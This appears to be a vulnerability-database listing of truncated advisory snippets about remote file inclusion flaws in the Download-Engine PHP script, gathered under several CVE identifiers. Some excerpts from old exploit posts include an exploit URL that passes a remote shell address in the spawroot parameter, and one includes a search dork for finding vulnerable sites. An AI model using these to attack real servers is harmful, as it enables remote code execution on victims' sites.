EUVD-2006-5444

Malware in sbrugna...

EUVD-2007-2284

Malware in sbrugna...

EUVD-2007-2250

Malware in sbrugna...

Download-Engine <= 1.4.2 (spaw) Remote File Include Vulnerability

No description provided by source. ====================================================================================== Download-Engine Remote File Include ====================================================================================== Info:- Scripts: Download-Engine Download:...

download engine V1.4.1 &gt;&gt; RFI &#40;local&#41;

VENDOR :http://www.alexscriptengine.com/ BY : s3rv3rhack3r hackerz.ir admin bug: downloadengine/admin/includes/spaw/dialogs/insertlink.php = include $spawroot.'class/lang.class.php'; Exloit: http://victim/admin/includes/spaw/dialogs/insertlink.php?spawroot=http://shell...

CVE-2007-2289

PHP remote file inclusion vulnerability in admin/includes/spaw/dialogs/insertlink.php in download engine Download-Engine 1.4.1 allows remote authenticated users to execute arbitrary PHP code via a URL in the spawroot parameter, a different vector than CVE-2007-2255. NOTE: this may be an issue in...

CVE-2007-2289

CVE-2007-2289 describes a PHP remote file inclusion in Download-Engine.1.4.1, via the spaw_root parameter in admin/includes/spaw/dialogs/insert_link.php, allowing remote authenticated users to execute arbitrary PHP code. This is a different vector than CVE-2007-2255. No remediation or fix details...

CVE-2007-2289

PHP remote file inclusion vulnerability in admin/includes/spaw/dialogs/insertlink.php in download engine Download-Engine 1.4.1 allows remote authenticated users to execute arbitrary PHP code via a URL in the spawroot parameter, a different vector than CVE-2007-2255. NOTE: this may be an issue in...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the 1 engdir parameter to addmember.php, 2 langpath parameter to admin/enginelib/class.phpmailer.php, and the 3 spawroot parameter to...

CVE-2007-2255

Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the 1 engdir parameter to addmember.php, 2 langpath parameter to admin/enginelib/class.phpmailer.php, and the 3 spawroot parameter to...

CVE-2007-2255

Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the 1 engdir parameter to addmember.php, 2 langpath parameter to admin/enginelib/class.phpmailer.php, and the 3 spawroot parameter to...

CVE-2007-2255

CVE-2007-2255 affects Download-Engine 1.4.3 and describes multiple PHP remote file inclusion vulnerabilities. The vulnerabilities allow an attacker to supply a URL in parameters (eng_dir to addmember.php, lang_path to admin/enginelib/class.phpmailer.php, and spaw_root to admin/includes/spaw/dialo...

Remot File Include download_engine_V1.4.3

By Hasadya Raed Contact : [email protected] Israel -------------------------- Script : downloadengineV1.4.3 Dork : c 2002 AlexScriptEngine -------------------------- B.Files : addmember.php class.phpmailer.php colorpicker.php -------------------------- Exploits :...

CVE-2006-5459

Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 $ENGINEengdir and possibly 2 spawroot parameters in admin/includes/spaw/spawscript.js.php, and the 3 $ENGINEengdir, 4 $spawroot, 5...

CVE-2006-5459

CVE-2006-5459 documents multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.2 and earlier, allowing an attacker to execute arbitrary PHP code via crafted URLs to parameters in spaw_script.js.php and spaw_control.config.php. Affected files/parameters include spaw_root, $_ENGI...

CVE-2006-5459

Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 $ENGINEengdir and possibly 2 spawroot parameters in admin/includes/spaw/spawscript.js.php, and the 3 $ENGINEengdir, 4 $spawroot, 5...

Download-Engine-1.4.2-2.txt

BiyoSecurity.Org & SecurityWall.Org Scripts: Download-Engine Remote File İnclude Download: http://www.alexscriptengine.de/v2/dlengine/redirect.php?dlid=50&ENGINEsessID=4754ee8243de5f333ec74272f249b649 Version : 1.4.2 And Old versions... Greetz : Liz0zim , RMx , TRIP , DreamLord Regards : KorsaN...

Download-Engine-1.4.2.txt

====================================================================================== Download-Engine Remote File Include ====================================================================================== Info:- Scripts: Download-Engine Download:...

CVE-2006-5291

PHP remote file inclusion vulnerability in admin/includes/spaw/spawcontrol.class.php in Download-Engine 1.4.2 allows remote attackers to execute arbitrary PHP code via a URL in the spawroot parameter. NOTE: CVE analysis suggests that this issue is actually in a third party product, SPAW Editor PH...

CVE-2006-5291

The vulnerability CVE-2006-5291 affects Download-Engine 1.4.2 through a PHP remote file inclusion in admin/includes/spaw/spaw_control.class.php, exploitable via a URL in the spaw_root parameter to execute arbitrary PHP code on the server. The issue is noted as potentially in the third-party SPAW ...